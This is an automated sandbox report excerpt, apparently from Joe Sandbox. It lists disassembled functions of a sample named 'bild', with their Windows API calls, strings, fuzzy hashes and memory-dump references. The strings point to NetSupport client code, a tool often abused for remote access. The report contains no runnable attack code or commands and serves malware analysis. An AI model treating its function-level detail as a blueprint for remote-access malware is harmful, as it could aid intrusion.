Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FreeString$__wcsicoll_memset
String ID:
API String ID: 3719176846-0
Opcode ID: 630363bdb13d22254993ecf68dacbf692c7bf3f03afba6e05313967c32aba816
Instruction ID: afd3f22c8fe7dd5f2f13fef18bd13733cf22d578236402d79b842a18f9b7ad91
Opcode Fuzzy Hash: 630363bdb13d22254993ecf68dacbf692c7bf3f03afba6e05313967c32aba816
Instruction Fuzzy Hash: E3A11871E006299FCB21DF59CC84ADEB7B9AF89305F2041D9E50DAB610DB32AE85CF50

Function 110812D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11081356
wsprintfA.USER32 ref: 1108138D

Strings

..\CTL32\DataStream.cpp, xrefs: 1108139E
%02x, xrefs: 11081350
m_iPos=%d, m_nLen=%d, m_nExt=%d, m_pData=%x {%s}, xrefs: 11081387

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %02x$..\CTL32\DataStream.cpp$m_iPos=%d, m_nLen=%d, m_nExt=%d, m_pData=%x {%s}
API String ID: 2111968516-476189988
Opcode ID: 2e0a70d7f48be011b9f6aa9edf4a09ec59e0beebed33c2f057e62bcad71544d0
Instruction ID: f12dac7d373f74f5fe212c0395a9fec3f200c40d2e0a4ddded7d9712e57ff33a
Opcode Fuzzy Hash: 2e0a70d7f48be011b9f6aa9edf4a09ec59e0beebed33c2f057e62bcad71544d0
Instruction Fuzzy Hash: E621A375A052299FD724CF65DCC4EAEB3F8EF44308F0085AEE45A97640D670AD45CB60

Function 110253D0 Relevance: 7.6, APIs: 5, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110253E7
GetDlgItem.USER32(?,00001399), ref: 11025421
TranslateMessage.USER32(?), ref: 1102543A
DispatchMessageA.USER32(?), ref: 11025444
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11025486

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$DispatchItemTranslate
String ID:
API String ID: 1381171329-0
Opcode ID: bebdcbb2c02c8b11af5fb3a0b68c2766af8923a7f1998c3c6d7298e063844038
Instruction ID: 26246af105c186e59b646e9f33a047c98996dcd180a805fce9500a05ed718ca0
Opcode Fuzzy Hash: bebdcbb2c02c8b11af5fb3a0b68c2766af8923a7f1998c3c6d7298e063844038
Instruction Fuzzy Hash: 7B21CF70F0030A67E718DB72C885BABF7F8AB4430DF804429EA2696180FB75A441CB95

Function 11021300 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11021362
IsWindowVisible.USER32(00000000), ref: 11021433
wsprintfA.USER32 ref: 11021477

Strings

%d,%d,%d,%d,%d,%d, xrefs: 11021471

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf$VisibleWindow
String ID: %d,%d,%d,%d,%d,%d
API String ID: 1671172596-1913222166
Opcode ID: 8791ca63a79dced235f4e3776a7ea81ab1c93e4dd005f09928dbe6592e314a28
Instruction ID: 208af751730b9df0a36513b51cfb93f89bd03d9f93b9dbce85b9ce09b73d059e
Opcode Fuzzy Hash: 8791ca63a79dced235f4e3776a7ea81ab1c93e4dd005f09928dbe6592e314a28
Instruction Fuzzy Hash: 465181746001159FD710DB68CC90F9AB7F9BF88708F108698F6599B391DB70ED45CBA0

Function 11117000 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1111701F
DeleteObject.GDI32(00000000), ref: 11117143
GetTickCount.KERNEL32 ref: 11117159

Strings

BltPending skipping Blt, sinceUpdate=%d ms, sinceBlt=%d ms, from=%s, xrefs: 1111706E

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountTick$DeleteObject
String ID: BltPending skipping Blt, sinceUpdate=%d ms, sinceBlt=%d ms, from=%s
API String ID: 3011517232-3209293507
Opcode ID: 3804ad2b8b8d45a3881d6a1d8f9e7176cbf39d2a15b6b3a9b1851c2b4258d80b
Instruction ID: 71694b1901628e7c3f0e0f97bec8b89b6520565b9ddb22d4603e25af3e6b7442
Opcode Fuzzy Hash: 3804ad2b8b8d45a3881d6a1d8f9e7176cbf39d2a15b6b3a9b1851c2b4258d80b
Instruction Fuzzy Hash: 62414F75A00F058FD724CF79CD856ABF7E1FF84219F104A3ED56A9A244EB3565418F00

Function 11077200 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 11077241
CopyRect.USER32(?,00000004), ref: 1107726F

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11077229
m_hWnd, xrefs: 1107722E

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CopyErrorExitLastLongMessageProcessRectWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2755825785-2830328467
Opcode ID: 52b039dbae3ac474573174c2f07e54e0dc35dacba2b0f62a005c55ea2bccfa41
Instruction ID: de278a2cd4c0b5f0839ddad857aefe36ed68345845b5ae66c69d21e7740d687e
Opcode Fuzzy Hash: 52b039dbae3ac474573174c2f07e54e0dc35dacba2b0f62a005c55ea2bccfa41
Instruction Fuzzy Hash: 3841A331E00A06DBCB14CE68C9C8A5EF7F1FF84344F10C569E86597644EB30E941CB58

Function 110D1090 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 110D1128

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

cchLen<=0 || cchLen<=(int) _tcslen(pszStr), xrefs: 110D10DF
IsA(), xrefs: 110D10AC, 110D1153
..\CTL32\NSMString.cpp, xrefs: 110D10A7, 110D10DA, 110D114E

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memmovewsprintf
String ID: ..\CTL32\NSMString.cpp$IsA()$cchLen<=0 || cchLen<=(int) _tcslen(pszStr)
API String ID: 1528188558-323366856
Opcode ID: 68b70f9a2bf70a58353feb4a735461465b776518e9ae676a20bb0fc5dc14d86d
Instruction ID: cd45fd8f54c028a965d30ceca3f2b81ac61ec80aecbdd09916459db7febd3670
Opcode Fuzzy Hash: 68b70f9a2bf70a58353feb4a735461465b776518e9ae676a20bb0fc5dc14d86d
Instruction Fuzzy Hash: AE21263EB003476BDB11DE69EC50F9BB7D99FC528CB108498F98887301EE72F4058294

Function 110893D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,0000000E), ref: 1115FFD1

Part of subcall function 1115FE60: RegOpenKeyExA.ADVAPI32(80000000,CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32,00000000,00020019,?,?), ref: 1115FE98
Part of subcall function 1115FE60: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?,?), ref: 1115FED9
Part of subcall function 1115FE60: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104), ref: 1115FEFD
Part of subcall function 1115FE60: RegCloseKey.ADVAPI32(?), ref: 1115FF2A

LoadLibraryA.KERNEL32(?,?,?,?,?), ref: 1115FF93
LoadLibraryA.KERNEL32(hhctrl.ocx,?,?,?,?), ref: 1115FFA9

Strings

hhctrl.ocx, xrefs: 1115FFA4

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad$AddressCloseEnvironmentExpandOpenProcQueryStringsValue
String ID: hhctrl.ocx
API String ID: 1060647816-2298675154
Opcode ID: a3853af9b5ec3e1502db0b4bafb9ef45656db84a0f437c905b28bfddd73cca6c
Instruction ID: 21cf1aba31526e8ead5fc6aa4b71c903af58d6e9e090c4be98d1d971a6eb0305
Opcode Fuzzy Hash: a3853af9b5ec3e1502db0b4bafb9ef45656db84a0f437c905b28bfddd73cca6c
Instruction Fuzzy Hash: E911663260826B9BDB84DF65C994BDAF7A8EB4B758B41003FE521D3544EB70D844CB92

Function 110B91D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62timeCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 110B91EF
MoveWindow.USER32(8D111939,?,?,?,?,00000001,?,?,?,?,?,?,?,?,?,110BA3F5), ref: 110B9228
SetTimer.USER32(8D111939,0000050D,000007D0,00000000), ref: 110B9260

Strings

Max, xrefs: 110B91E0

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InfoMoveParametersSystemTimerWindow
String ID: Max
API String ID: 1521622399-2772132969
Opcode ID: dd270aeb1ce9957f205ba7153b0c8123e734f44cde7feed230d9f6d1d20fe2b6
Instruction ID: cbc035c590c08491bc6b7e29ca505f880cfdd662cf6ac53e8412c44867f4f71a
Opcode Fuzzy Hash: dd270aeb1ce9957f205ba7153b0c8123e734f44cde7feed230d9f6d1d20fe2b6
Instruction Fuzzy Hash: EA2130B5A40309AFD714CFA4C885FAFF7B8FB48714F10452EE95597380CA70A941CBA0

Function 110ED0F0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 110ED118

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

IsWindow(hRich), xrefs: 110ED129
lpNmHdr!=0, xrefs: 110ED103
..\CTL32\NSWin32.cpp, xrefs: 110ED0FE, 110ED124

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessWindowwsprintf
String ID: ..\CTL32\NSWin32.cpp$IsWindow(hRich)$lpNmHdr!=0
API String ID: 2577986331-1331251348
Opcode ID: 0130043435edc3a22456987cf30c2144a781c09618dcf41b74824cb74998b838
Instruction ID: a6e56e2616b3f757a7bedb7841b960acd04ffc41865bfa7298ab7df9715bb4c1
Opcode Fuzzy Hash: 0130043435edc3a22456987cf30c2144a781c09618dcf41b74824cb74998b838
Instruction Fuzzy Hash: 85F02735F02126BBC6228E579C09F8EB378CF90BACF0200A4F81C26140E734B51082D5

Function 110813C0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 11081417

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\CTL32\DataStream.cpp, xrefs: 110813D4
e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 110813FB
IsA(), xrefs: 110813D9, 11081400

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_freewsprintf
String ID: ..\CTL32\DataStream.cpp$IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 2441568934-1875806619
Opcode ID: af1373b32a9bb4e1f8f26d5d02c3c702896290850c3687507677e6fe67b99708
Instruction ID: 32575625ee732fca108261b890e952c9fd6c17214e61566243eaf6e55242290c
Opcode Fuzzy Hash: af1373b32a9bb4e1f8f26d5d02c3c702896290850c3687507677e6fe67b99708
Instruction Fuzzy Hash: D1F0A0BCE086651BD730DE99BC00FCAB7D05F1434CF050498EA8627682DBBA7549C2E6

Function 11061140 Relevance: 6.1, APIs: 4, Instructions: 131registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 1106117C
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 110611D4
RegEnumValueA.ADVAPI32(?,00000001,?,00000080,00000000,?,?,00000480), ref: 110612C3
RegCloseKey.ADVAPI32(?), ref: 110612D4

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: EnumValue$CloseOpen
String ID:
API String ID: 3785232357-0
Opcode ID: 385e5134d3de21a01a15670ba88f4417c14cd2c8775287df043cdc8206fa1483
Instruction ID: e119b506798adee895546c353bca4cd72f80153627c59e78ac85c5ed933e93b3
Opcode Fuzzy Hash: 385e5134d3de21a01a15670ba88f4417c14cd2c8775287df043cdc8206fa1483
Instruction Fuzzy Hash: 14412CB190061E9EDB20CB54CC84FDBBBBDAB89305F0045D9E649D7141EA70AA98CFA0

Function 110291D0 Relevance: 6.1, APIs: 4, Instructions: 104sleepthreadwindowCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00001000,11027030,00000000,00000000,111ED468), ref: 110291F3
